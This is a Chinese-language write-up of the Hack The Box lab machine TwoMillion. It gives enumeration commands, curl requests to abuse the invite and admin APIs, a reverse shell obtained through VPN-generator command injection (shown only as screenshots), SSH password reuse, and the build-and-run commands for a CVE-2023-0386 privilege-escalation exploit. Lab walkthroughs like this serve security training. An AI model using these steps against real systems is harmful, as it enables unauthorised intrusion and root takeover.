TwoMillion (Linux · Easy)

Js反混淆 + api利用 + CVE-2023-0386

枚举

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -A -p- -v -T4 -Pn 10.10.11.211

Nmap scan report for bogon (10.10.11.221)
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

添加hosts

1
echo "10.10.11.221 2million.htb" | sudo tee -a /etc/hosts

dirsearch

1
2
3
dirsearch -u http://2million.htb
/login
/register

页面交互跳转 /invite

image-20240724141849108

image-20240724142749664

简略,邀请码正确,将被重定向到 /register

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<script defer>
$(document).ready(function() {
$('#verifyForm').submit(function(e) {
e.preventDefault(); // 阻止表单的默认提交行为

var code = $('#code').val(); // 获取表单中输入的邀请代码
var formData = { "code": code }; // 将邀请代码封装到对象中

$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) { // 请求成功的回调函数
if (response[0] === 200 && response.success === 1 && response.data.message === "Invite code is valid!") {
// 邀请码验证成功
localStorage.setItem('inviteCode', code); // 将邀请代码存储到 localStorage
window.location.href = '/register'; // 重定向到注册页面
} else {
alert("Invalid invite code. Please try again.");
}
},
error: function(response) { // 请求失败的回调函数
alert("An error occurred. Please try again.");
}
});
});
});
</script>

inviteapi.min.js,代码似乎被混淆

1
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))

ChatGPT/Tools 反混淆后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function verifyInviteCode(code) {
var formData = {"code": code};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) {
console.log(response);
},
error: function(response) {
console.log(response);
}
});
}

function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function(response) {
console.log(response);
},
error: function(response) {
console.log(response);
}
});
}

makeInviteCode()

1
2
3
4
5
6
7
8
9
10
11
12
curl -sX POST http://2million.htb/api/v1/invite/how/to/generate | jq
# jq Json美化

{
"0": 200,
"success": 1,
"data": {
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
"enctype": "ROT13"
},
"hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}

根据hint信息,对data进行ROT13解码

image-20240724151706582

根据解码信息,请求获得code

1
2
3
4
5
6
7
8
9
10
11
12
13
curl -sX POST http://2million.htb/api/v1/invite/generate | jq

{
"0": 200,
"success": 1,
"data": {
"code": "TkU0TEctUE83OFItQlU5V0otVlZRVTM=",
"format": "encoded"
}
}

echo 'TkU0TEctUE83OFItQlU5V0otVlZRVTM=' | base64 -d
NE4LG-PO78R-BU9WJ-VVQU3

输入邀请码,进入 /register

image-20240724152658043

注册登入

image-20240724163220581

查看其他的一些api

image-20240724163137864

admin api

image-20240724163831358

image-20240724163916784

image-20240724163856589

似乎可以根据 /api/v1/admin/settings/update的信息进一步深入,最后完整的请求

image-20240724165531488

请求/api/v1/admin/auth查看信息,成功跟改为管理员

image-20240724165649491

再来看/api/v1/admin/vpn/generate

image-20240724170543884

根据返回的信息发送请求

Shell

image-20240724170808567

为用户admin生成了一个VPN配置文件 已经打印出来了,如果这个VPN是通过exec或系统Php函数生成的,则有可能存在命令执行漏洞

image-20240724171503949

反弹shell

image-20240724171821776

image-20240724172050337

数据库

image-20240724172732008

密码可能重用

1
ssh admin@2million.htb

image-20240724172459242

权限提升

还得是信息收集,/ FUSE

image-20240724173753949

Google search

image-20240724174215821

kali 下载打包,scp 传过去

1
scp cve.tar.gz admin@2million.htb:/tmp

然后执行他,需要两个终端

1
2
3
4
# https://github.com/xkaneiki/CVE-2023-0386
make all
shell01: ./fuse ./ovlcap/lower ./gc
shell02: ./exp

image-20240724175903673

thank_you.json

1
{"encoding": "url", "data": "%7B%22encoding%22:%20%22hex%22,%20%22data%22:%20%227b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d%22%7D"}

urldecode -> hex decode ->

image-20240724182617204

Finally

1
2
3
4
5
6
7
8
9
10
11
12
13
Dear HackTheBox Community,

We are thrilled to announce a momentous milestone in our journey together. With immense joy and gratitude, we celebrate the achievement of reaching 2 million remarkable users! This incredible feat would not have been possible without each and every one of you.

From the very beginning, HackTheBox has been built upon the belief that knowledge sharing, collaboration, and hands-on experience are fundamental to personal and professional growth. Together, we have fostered an environment where innovation thrives and skills are honed. Each challenge completed, each machine conquered, and every skill learned has contributed to the collective intelligence that fuels this vibrant community.

To each and every member of the HackTheBox community, thank you for being a part of this incredible journey. Your contributions have shaped the very fabric of our platform and inspired us to continually innovate and evolve. We are immensely proud of what we have accomplished together, and we eagerly anticipate the countless milestones yet to come.

Here's to the next chapter, where we will continue to push the boundaries of cybersecurity, inspire the next generation of ethical hackers, and create a world where knowledge is accessible to all.

With deepest gratitude,

The HackTheBox Team
⬆︎TOP